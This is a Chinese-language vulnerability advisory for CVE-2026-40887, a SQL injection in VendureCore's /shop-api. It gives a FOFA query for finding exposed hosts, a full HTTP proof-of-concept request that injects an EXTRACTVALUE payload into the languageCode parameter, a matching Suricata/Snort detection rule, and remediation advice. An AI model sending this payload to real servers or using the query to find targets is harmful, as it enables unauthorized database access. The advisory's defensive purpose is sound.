VendureCore-CVE-2026-40887-sql注入¶

VendureCore-CVE-2026-40887-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本¶

VendureCore

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：header="vendure-auth-token"

POC/EXP：

POST /shop-api?languageCode=en'+AND+EXTRACTVALUE(5202,CONCAT(0x5c,(SELECT+MD5('123'))))+AND+'ptic'%3d'ptic HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"query":"{ product(slug: \"a\") { id name } }"}

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"VendureCore - GraphQL SQL Injection via EXTRACTVALUE (CVE-2026-40887)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/shop-api";
    http.uri; pcre:"/languageCode=en'\\+AND\\+EXTRACTVALUE\\(5202,CONCAT\\(0x5c,\\(SELECT\\+MD5\\([^)]+\\)\\)\\)\\)\\+AND\\+'ptic'%3d'ptic/i";
    metadata:
        service http,
        affected_product "VendureCore",
        vulnerability_type "GraphQL SQL Injection (MySQL XML函数注入)",
        cve "CVE-2026-40887",
        severity "high";
    classtype:web-application-attack;
    sid:1000678;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。